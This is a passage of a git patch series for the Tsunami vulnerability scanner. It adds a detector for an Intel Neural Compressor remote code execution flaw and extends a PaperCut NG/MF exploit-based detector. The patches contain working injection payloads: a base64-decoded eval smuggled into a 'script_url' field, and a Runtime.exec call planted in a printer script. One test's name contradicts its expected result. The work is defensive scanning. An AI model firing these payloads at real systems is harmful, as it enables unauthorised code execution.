'{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + } + ] + } +} + +tests: { + name: "whenNoCallback_returnsNotVuln" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "/app?service=page/SetupCompleted" + status: 200 + body_content: "... Configuration Wizard : Setup Complete ..." + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "/app" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "/app?service=page/PrinterList" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "/app?service=direct/1/PrinterList/selectPrinter&sp=l1001" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "/app?service=direct/1/PrinterDetails/printerOptionsTab.tab&sp=4" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + } + ] + } +} + + +tests: { + name: "whenRandomServer_returnsNotVuln" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: "... Hello world ..." + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + } + ] + } +} From cb135b62061c352be1cc3220e9122f7a3858826e Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Thu, 11 Jun 2026 09:13:44 -0400 Subject: [PATCH 2/5] added back neural compressor files --- .../README.md | 20 ++ .../build.gradle | 40 ++++ .../settings.gradle | 21 ++ .../Cve202422476DetectorBootstrapModule.java | 27 +++ .../Cve202422476VulnDetector.java | 215 ++++++++++++++++++ .../cves/cve202422476/task_request.json | 10 + .../Cve202422476VulnDetectorTest.java | 158 +++++++++++++ 7 files changed, 491 insertions(+) create mode 100644 community/detectors/intel_neural_compressor_cve_2024_22476/README.md create mode 100644 community/detectors/intel_neural_compressor_cve_2024_22476/build.gradle create mode 100644 community/detectors/intel_neural_compressor_cve_2024_22476/settings.gradle create mode 100644 community/detectors/intel_neural_compressor_cve_2024_22476/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476DetectorBootstrapModule.java create mode 100644 community/detectors/intel_neural_compressor_cve_2024_22476/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476VulnDetector.java create mode 100644 community/detectors/intel_neural_compressor_cve_2024_22476/src/main/resources/com/google/tsunami/plugins/detectors/cves/cve202422476/task_request.json create mode 100644 community/detectors/intel_neural_compressor_cve_2024_22476/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476VulnDetectorTest.java diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/README.md b/community/detectors/intel_neural_compressor_cve_2024_22476/README.md new file mode 100644 index 000000000..154f94d80 --- /dev/null +++ b/community/detectors/intel_neural_compressor_cve_2024_22476/README.md @@ -0,0 +1,20 @@ +# Intel(R) Neural Compressor CVE-2024-22476 Detector + +This detector checks for Intel(R) Neural Compressor CVE-2024-22476 +Unauthenticated Remote Code Execution (CVE-2024-22476). Improper input +validation in some Intel(R) Neural Compressor software before version 2.5.0 may +allow an unauthenticated user to potentially enable escalation of privilege via +remote access. + +- https://huntr.com/bounties/877a517f-76ec-45be-8d3b-2b5ac471bfeb +- https://vulners.com/cvelist/CVELIST:CVE-2024-22476 + +## Build jar file for this plugin + +Using `gradlew`: + +```shell +./gradlew jar +``` + +Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/build.gradle b/community/detectors/intel_neural_compressor_cve_2024_22476/build.gradle new file mode 100644 index 000000000..100b498c0 --- /dev/null +++ b/community/detectors/intel_neural_compressor_cve_2024_22476/build.gradle @@ -0,0 +1,40 @@ +plugins { + id 'java-library' +} + +description = 'Tsunami CVE-2024-22476 VulnDetector plugin.' +group 'com.google.tsunami' +version '0.0.1-SNAPSHOT' + + +repositories { + maven { // The google mirror is less flaky than mavenCentral() + url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' + } + mavenCentral() + mavenLocal() +} + + + +def coreRepoBranch = System.getenv("GITBRANCH_TSUNAMI_CORE") ?: "stable" +def tcsRepoBranch = System.getenv("GITBRANCH_TSUNAMI_TCS") ?: "stable" + +dependencies { + implementation("com.google.tsunami:tsunami-common") { + version { branch = "${coreRepoBranch}" } + } + implementation("com.google.tsunami:tsunami-plugin") { + version { branch = "${coreRepoBranch}" } + } + implementation("com.google.tsunami:tsunami-proto") { + version { branch = "${coreRepoBranch}" } + } + + testImplementation "junit:junit:4.13.2" + testImplementation "org.mockito:mockito-core:5.18.0" + testImplementation "com.google.truth:truth:1.4.4" + testImplementation "com.squareup.okhttp3:mockwebserver:3.12.0" + testImplementation "com.google.truth.extensions:truth-java8-extension:1.4.4" + testImplementation "com.google.truth.extensions:truth-proto-extension:1.4.4" +} diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/settings.gradle b/community/detectors/intel_neural_compressor_cve_2024_22476/settings.gradle new file mode 100644 index 000000000..78c58d643 --- /dev/null +++ b/community/detectors/intel_neural_compressor_cve_2024_22476/settings.gradle @@ -0,0 +1,21 @@ +/* + * This file was generated by the Gradle 'init' task. + * + * The settings file is used to specify which projects to include in your build. + * + * Detailed information about configuring a multi-project build in Gradle can be found + * in the user manual at https://docs.gradle.org/6.5/userguide/multi_project_builds.html + */ + +rootProject.name = 'CVE-2024-22476' + +def coreRepository = System.getenv("GITREPO_TSUNAMI_CORE") ?: "https://github.com/google/tsunami-security-scanner.git" +def tcsRepository = System.getenv("GITREPO_TSUNAMI_TCS") ?: "https://github.com/google/tsunami-security-scanner-callback-server.git" + +sourceControl { + gitRepository("${coreRepository}") { + producesModule("com.google.tsunami:tsunami-common") + producesModule("com.google.tsunami:tsunami-plugin") + producesModule("com.google.tsunami:tsunami-proto") + } +} diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476DetectorBootstrapModule.java b/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476DetectorBootstrapModule.java new file mode 100644 index 000000000..ead69a8ed --- /dev/null +++ b/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476DetectorBootstrapModule.java @@ -0,0 +1,27 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.cves.cve202422476; + +import com.google.tsunami.plugin.PluginBootstrapModule; + +/** An CVE-2024-22476 Guice module that bootstraps the {@link Cve202422476VulnDetector}. */ +public class Cve202422476DetectorBootstrapModule extends PluginBootstrapModule { + @Override + protected void configurePlugin() { + registerPlugin(Cve202422476VulnDetector.class); + } +} diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476VulnDetector.java b/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476VulnDetector.java new file mode 100644 index 000000000..406d9c80a --- /dev/null +++ b/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476VulnDetector.java @@ -0,0 +1,215 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.cves.cve202422476; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.common.collect.ImmutableList.toImmutableList; +import static com.google.common.net.HttpHeaders.CONTENT_TYPE; +import static com.google.tsunami.common.net.http.HttpRequest.post; +import static java.nio.charset.StandardCharsets.UTF_8; + +import com.google.common.collect.ImmutableList; +import com.google.common.flogger.GoogleLogger; +import com.google.common.io.BaseEncoding; +import com.google.common.io.Resources; +import com.google.common.util.concurrent.Uninterruptibles; +import com.google.protobuf.ByteString; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkServiceUtils; +import com.google.tsunami.common.net.http.HttpClient; +import com.google.tsunami.common.net.http.HttpHeaders; +import com.google.tsunami.common.net.http.HttpRequest; +import com.google.tsunami.common.net.http.HttpResponse; +import com.google.tsunami.common.time.UtcClock; +import com.google.tsunami.plugin.PluginType; +import com.google.tsunami.plugin.VulnDetector; +import com.google.tsunami.plugin.annotations.ForWebService; +import com.google.tsunami.plugin.annotations.PluginInfo; +import com.google.tsunami.plugin.payload.Payload; +import com.google.tsunami.plugin.payload.PayloadGenerator; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.PayloadGeneratorConfig; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.IOException; +import java.time.Clock; +import java.time.Duration; +import java.time.Instant; +import javax.inject.Inject; + +/** A {@link VulnDetector} that detects the CVE-2024-22476 vulnerability. */ +@PluginInfo( + type = PluginType.VULN_DETECTION, + name = "CVE-2024-22476 Detector", + version = "0.1", + description = "Checks for occurrences of CVE-2024-22476 in Intel Neural Compressor instances.", + author = "frkngksl", + bootstrapModule = Cve202422476DetectorBootstrapModule.class) +@ForWebService +public final class Cve202422476VulnDetector implements VulnDetector { + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + + private final Clock utcClock; + private final PayloadGenerator payloadGenerator; + + private static final String VUL_PATH = "task/submit/"; + private static final Duration BATCH_REQUEST_WAIT_AFTER_TIMEOUT = Duration.ofSeconds(10); + private final String taskRequestTemplate; + private final HttpClient httpClient; + + @Inject + Cve202422476VulnDetector( + @UtcClock Clock utcClock, HttpClient httpClient, PayloadGenerator payloadGenerator) + throws IOException { + this.utcClock = checkNotNull(utcClock); + this.httpClient = + checkNotNull(httpClient, "HttpClient cannot be null.") + .modify() + .setFollowRedirects(false) + .build(); + this.payloadGenerator = checkNotNull(payloadGenerator, "PayloadGenerator cannot be null."); + taskRequestTemplate = + Resources.toString(Resources.getResource(this.getClass(), "task_request.json"), UTF_8); + } + + @Override + public DetectionReportList detect( + TargetInfo targetInfo, ImmutableList matchedServices) { + + return DetectionReportList.newBuilder() + .addAllDetectionReports( + matchedServices.stream() + .filter(this::isWebServiceOrUnknownService) + .filter(this::isServiceVulnerable) + .map(networkService -> buildDetectionReport(targetInfo, networkService)) + .collect(toImmutableList())) + .build(); + } + + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2024_22476")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2024-22476")) + .setSeverity(Severity.CRITICAL) + .setTitle("CVE-2024-22476 Intel Neural Compressor RCE") + .setDescription( + "The Intel Neural Compressor has a component called Neural Solution that brings" + + " the capabilities of Intel Neural Compressor as a service. The" + + " task/submit API in the Neural Solution webserver is vulnerable to an" + + " unauthenticated remote code execution (RCE) attack. The" + + " script_urlparameter in the body of the POST request for this API is not" + + " validated or filtered on the backend. As a result, attackers can" + + " manipulate this parameter to remotely execute arbitrary commands.") + .setRecommendation( + "You can upgrade your Intel Neural Compressor instances to 2.5.0 or later.") + .build()); + } + + private boolean checkNeuralSolutionFingerprint(NetworkService networkService) { + String targetWebAddress = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); + var request = HttpRequest.get(targetWebAddress).withEmptyHeaders().build(); + + try { + HttpResponse response = httpClient.send(request, networkService); + return response.status().isSuccess() + && response + .bodyString() + .map(body -> body.contains("{\"message\":\"Welcome to Neural Solution!\"}")) + .orElse(false); + } catch (IOException e) { + logger.atWarning().withCause(e).log("Failed to send request."); + return false; + } + } + + private boolean isWebServiceOrUnknownService(NetworkService networkService) { + return NetworkServiceUtils.isWebService(networkService) + && checkNeuralSolutionFingerprint(networkService); + } + + private boolean isServiceVulnerable(NetworkService networkService) { + Payload payload = generateCallbackServerPayload(); + if (!payload.getPayloadAttributes().getUsesCallbackServer()) { + logger.atInfo().log( + "The Tsunami callback server is not setup for this environment, so we cannot confirm the" + + " RCE callback"); + return false; + } + String taskRequestBody = taskRequestTemplate; + // Check callback server is enabled + logger.atInfo().log("Callback server is available!"); + taskRequestBody = + taskRequestBody.replace( + "{{CALLBACK_PAYLOAD}}", + BaseEncoding.base64().encode(payload.getPayload().getBytes(UTF_8))); + String targetVulnerabilityUrl = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VUL_PATH; + logger.atInfo().log("Payload: %s", payload.getPayload().getBytes(UTF_8)); + try { + HttpResponse httpResponse = + httpClient.send( + post(targetVulnerabilityUrl) + .setHeaders( + HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build()) + .setRequestBody(ByteString.copyFromUtf8(taskRequestBody)) + .build(), + networkService); + logger.atInfo().log("Callback Server Payload Response: %s", httpResponse.bodyString().get()); + Uninterruptibles.sleepUninterruptibly(BATCH_REQUEST_WAIT_AFTER_TIMEOUT); + return payload.checkIfExecuted(); + + } catch (IOException e) { + logger.atWarning().withCause(e).log("Failed to send request."); + return false; + } + } + + private Payload generateCallbackServerPayload() { + PayloadGeneratorConfig config = + PayloadGeneratorConfig.newBuilder() + .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.BLIND_RCE) + .setInterpretationEnvironment( + PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL) + .setExecutionEnvironment( + PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT) + .build(); + + return this.payloadGenerator.generate(config); + } + + private DetectionReport buildDetectionReport( + TargetInfo targetInfo, NetworkService vulnerableNetworkService) { + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(vulnerableNetworkService) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability(this.getAdvisories().get(0)) + .build(); + } +} diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/resources/com/google/tsunami/plugins/detectors/cves/cve202422476/task_request.json b/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/resources/com/google/tsunami/plugins/detectors/cves/cve202422476/task_request.json new file mode 100644 index 000000000..0eb8db38e --- /dev/null +++ b/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/resources/com/google/tsunami/plugins/detectors/cves/cve202422476/task_request.json @@ -0,0 +1,10 @@ +{ + "script_url": "https://github.com/huggingface/transformers/blob/v4.21-release/examples/pytorch/text-classification & eval \"$(echo {{CALLBACK_PAYLOAD}} | base64 --decode)\"", + "optimized": "False", + "arguments": [ + "--model_name_or_path bert-base-cased --task_name mrpc --do_eval --output_dir result" + ], + "approach": "static", + "requirements": [], + "workers": 1 +} diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476VulnDetectorTest.java b/community/detectors/intel_neural_compressor_cve_2024_22476/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476VulnDetectorTest.java new file mode 100644 index 000000000..04727527e --- /dev/null +++ b/community/detectors/intel_neural_compressor_cve_2024_22476/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476VulnDetectorTest.java @@ -0,0 +1,158 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.cves.cve202422476; + +import static com.google.common.truth.Truth.assertThat; +import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; + +import com.google.common.collect.ImmutableList; +import com.google.inject.Guice; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.net.http.HttpClientModule; +import com.google.tsunami.common.time.testing.FakeUtcClock; +import com.google.tsunami.common.time.testing.FakeUtcClockModule; +import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; +import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.TargetInfo; +import java.io.IOException; +import java.time.Instant; +import javax.inject.Inject; +import okhttp3.mockwebserver.Dispatcher; +import okhttp3.mockwebserver.MockResponse; +import okhttp3.mockwebserver.MockWebServer; +import okhttp3.mockwebserver.RecordedRequest; +import org.junit.After; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Unit tests for {@link Cve202422476VulnDetector}. */ +@RunWith(JUnit4.class) +public class Cve202422476VulnDetectorTest { + private final FakeUtcClock fakeUtcClock = + FakeUtcClock.create().setNow(Instant.parse("2022-05-23T00:00:00.00Z")); + private MockWebServer mockWebServer; + private MockWebServer mockCallbackServer; + private NetworkService targetNetworkService; + private TargetInfo targetInfo; + + @Inject private Cve202422476VulnDetector detector; + + @Before + public void setUp() throws IOException { + mockWebServer = new MockWebServer(); + mockCallbackServer = new MockWebServer(); + mockCallbackServer.start(); + + Guice.createInjector( + new FakeUtcClockModule(fakeUtcClock), + new HttpClientModule.Builder().build(), + FakePayloadGeneratorModule.builder().setCallbackServer(mockCallbackServer).build(), + new Cve202422476DetectorBootstrapModule()) + .injectMembers(this); + } + + @After + public void tearDown() throws IOException { + mockWebServer.shutdown(); + mockCallbackServer.shutdown(); + } + + @Test + public void detect_whenVulnerable_returnsVulnerability() throws IOException { + // It is a blind RCE, body is not important. This is a part of a valid response. + startMockWebServer(true); + mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse()); + DetectionReportList detectionReports = + detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); + + assertThat(detectionReports.getDetectionReportsList()) + .containsExactly( + DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(targetNetworkService) + .setDetectionTimestamp( + Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability(detector.getAdvisories().get(0)) + .build()); + assertThat(mockWebServer.getRequestCount()).isEqualTo(2); + assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); + } + + @Test + public void detect_ifNotVulnerable_doesNotReportVuln() throws IOException { + startMockWebServer(false); + + DetectionReportList detectionReports = + detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + assertThat(mockWebServer.getRequestCount()).isEqualTo(2); + } + + private void startMockWebServer(boolean isVulnerableServer) throws IOException { + final Dispatcher dispatcher = + new Dispatcher() { + + @Override + public MockResponse dispatch(RecordedRequest request) { + switch (request.getPath()) { + case "/": + return new MockResponse() + .setResponseCode(200) + .setBody("{\"message\":\"Welcome to Neural Solution!\"}"); + case "/task/submit/": + if (isVulnerableServer) { + return new MockResponse() + .setResponseCode(200) + .setBody( + "{\"status\":\"successfully\",\"task_id\":\"065d95dd70524cb2baa743def3ff7036\",\"msg\":\"Task" + + " submitted successfully\"}"); + } else { + return new MockResponse() + .setResponseCode(422) + .setBody("{\"detail\":\"Invalid task\"}"); + } + default: + return new MockResponse() + .setResponseCode(404) + .setBody("{\"detail\":\"Not Found\"}"); + } + } + }; + mockWebServer.setDispatcher(dispatcher); + mockWebServer.start(); + mockWebServer.url("/"); + targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .addSupportedHttpMethods("POST") + .addSupportedHttpMethods("GET") + .build(); + targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) + .build(); + } +} From 4d6f9dd58b3a03477fd995906ba3378aef3d571a Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Thu, 11 Jun 2026 10:07:03 -0400 Subject: [PATCH 3/5] fixed link, added non-callback detector, and fixed publisher --- community/README.md | 1 + .../PapercutNgMf_CVE_2023_27350.textproto | 57 ++++++-- ...PapercutNgMf_CVE_2023_27350_test.textproto | 132 ++++++++++++++++++ 3 files changed, 178 insertions(+), 12 deletions(-) diff --git a/community/README.md b/community/README.md index e651c1cea..339fdadd1 100644 --- a/community/README.md +++ b/community/README.md @@ -48,6 +48,7 @@ This directory contains plugins contributed by community members. * [Uptrain Exposed API VulnDetector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/uptrain_exposed_api) * [CVE-2025-0655 D-Tale Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/dtale_cve_2025_0655) * [Flowise Exposed UI Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/flowise_exposed_ui) +* [Papercut NG/MF Authentication Bypass and RCE, now updated to Templated format](https://github.com/google/tsunami-security-scanner-plugins/tree/master/templated/templateddetector/plugins/cve/2023/PapercutNgMf_CVE_2023_27350.textproto) #### XML External Entity (XXE) Injection diff --git a/templated/templateddetector/plugins/cve/2023/PapercutNgMf_CVE_2023_27350.textproto b/templated/templateddetector/plugins/cve/2023/PapercutNgMf_CVE_2023_27350.textproto index 198e5789c..4b1d97960 100644 --- a/templated/templateddetector/plugins/cve/2023/PapercutNgMf_CVE_2023_27350.textproto +++ b/templated/templateddetector/plugins/cve/2023/PapercutNgMf_CVE_2023_27350.textproto @@ -16,7 +16,7 @@ info: { finding: { main_id: { - publisher: "GOOGLE" + publisher: "TSUNAMI_COMMUNITY" value: "CVE_2023_27350" } title: "Papercut NG/MF Authentication Bypass and RCE" @@ -259,7 +259,7 @@ actions: { } actions: { - name: "execute_script" + name: "execute_script_callback" http_request: { method: POST uri: "/app" @@ -288,18 +288,36 @@ actions: { callback_server: { action_type: CHECK } } +# Action for when the callback server is disabled. This is all that's possible. + +actions: { + name: "execute_script_reflective" + http_request: { + method: POST + uri: "/app" + data: + "service=direct/1/PrinterDetails/$PrinterDetailsScript.$Form&sp=S0&Form0=printerId,enablePrintScript,scriptBody,$Submit,$Submit$0,$Submit$1&printerId=l1001&enablePrintScript=on&scriptBody=function printJobHook(inputs, actions) {}\r\njava.lang.Runtime.getRuntime().exec('hostname');&$Submit$1=Apply" + headers: [ + { name: "Cookie" value: "JSESSIONID={{ COOKIE }};" }, + { name: "Origin" value: "{{ T_NS_BASEURL }}" }, + { name: "Content-Type" value: "application/x-www-form-urlencoded" }, + { name: "Referer" value: "{{ T_NS_BASEURL }}app" }, + { name: "Accept" value: "*/*" } + ] + client_options: { + disable_follow_redirects: true + } + response: { + expect_all: { + conditions: { body {} contains: "Saved successfully" } + } + } + } +} + ############# # WORKFLOWS # ############# - #"complete_setup", - #"nav_settings_1", - #"update_settings_1", - #"nav_settings_2", - #"update_settings_2", - #"nav_printers", - #"nav_first_printer", - #"nav_scripting_tab", - #"execute_script", workflows: { condition: REQUIRES_CALLBACK_SERVER @@ -313,8 +331,23 @@ workflows: { "nav_printers", "nav_first_printer", "nav_scripting_tab", - "execute_script", + "execute_script_callback", "sleep", "check_callback_server_logs" ] +} + +workflows: { + actions: [ + "fingerprint_papercut", + "complete_setup", + "nav_settings_1", + "update_settings_1", + "nav_settings_2", + "update_settings_2", + "nav_printers", + "nav_first_printer", + "nav_scripting_tab", + "execute_script_reflective" + ] } \ No newline at end of file diff --git a/templated/templateddetector/plugins/cve/2023/PapercutNgMf_CVE_2023_27350_test.textproto b/templated/templateddetector/plugins/cve/2023/PapercutNgMf_CVE_2023_27350_test.textproto index d3f610d43..626299248 100644 --- a/templated/templateddetector/plugins/cve/2023/PapercutNgMf_CVE_2023_27350_test.textproto +++ b/templated/templateddetector/plugins/cve/2023/PapercutNgMf_CVE_2023_27350_test.textproto @@ -31,6 +31,7 @@ tests: { headers: [ { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } ] + body_content: "... Saved successfully ..." }, { uri: "/app?service=page/PrinterList" @@ -94,6 +95,7 @@ tests: { headers: [ { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } ] + body_content: "... Saved successfully ..." }, { uri: "/app?service=page/PrinterList" @@ -154,3 +156,133 @@ tests: { ] } } + +# non-callback tests + +tests: { + name: "whenReflectiveVuln_returnsVuln" + expect_vulnerability: true + + mock_callback_server: { + enabled: false + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "/app?service=page/SetupCompleted" + status: 200 + body_content: "... Configuration Wizard : Setup Complete ..." + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "/app" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + body_content: "... Saved successfully ..." + }, + { + uri: "/app?service=page/PrinterList" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "/app?service=direct/1/PrinterList/selectPrinter&sp=l1001" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "/app?service=direct/1/PrinterDetails/printerOptionsTab.tab&sp=4" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + } + ] + } +} + +tests: { + name: "whenReflectiveNotVuln_returnsVuln" + expect_vulnerability: true + + mock_callback_server: { + enabled: false + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "/app?service=page/SetupCompleted" + status: 200 + body_content: "... Configuration Wizard : Setup Complete ..." + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "/app" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + body_content: "... Error ..." + }, + { + uri: "/app?service=page/PrinterList" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "/app?service=direct/1/PrinterList/selectPrinter&sp=l1001" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "/app?service=direct/1/PrinterDetails/printerOptionsTab.tab&sp=4" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + }, + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: '{"status":200}' + headers: [ + { name: "Set-Cookie" value: "JSESSIONID=tsunamicookie;" } + ] + } + ] + } +} From 16de93c3bb7e4735e9eeceffb9c6c2d6ec2063c2 Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Thu, 11 Jun 2026 10:46:07 -0400 Subject: [PATCH 4/5] removed old papercut detector --- .../papercut_ng_mf_cve_2023_27350/README.md | 63 -- .../build.gradle | 40 -- .../settings.gradle | 12 - .../plugins/papercut/PapercutNgMfHelper.java | 148 ----- .../papercut/PapercutNgMfVulnDetector.java | 234 -------- ...percutNgMfVulnDetectorBootstrapModule.java | 27 - .../PapercutNgMfVulnDetectorTest.java | 186 ------ .../plugins/papercut/nonvulnerable_page.html | 563 ------------------ .../plugins/papercut/vulnerable_page.html | 124 ---- 9 files changed, 1397 deletions(-) delete mode 100644 community/detectors/papercut_ng_mf_cve_2023_27350/README.md delete mode 100644 community/detectors/papercut_ng_mf_cve_2023_27350/build.gradle delete mode 100644 community/detectors/papercut_ng_mf_cve_2023_27350/settings.gradle delete mode 100644 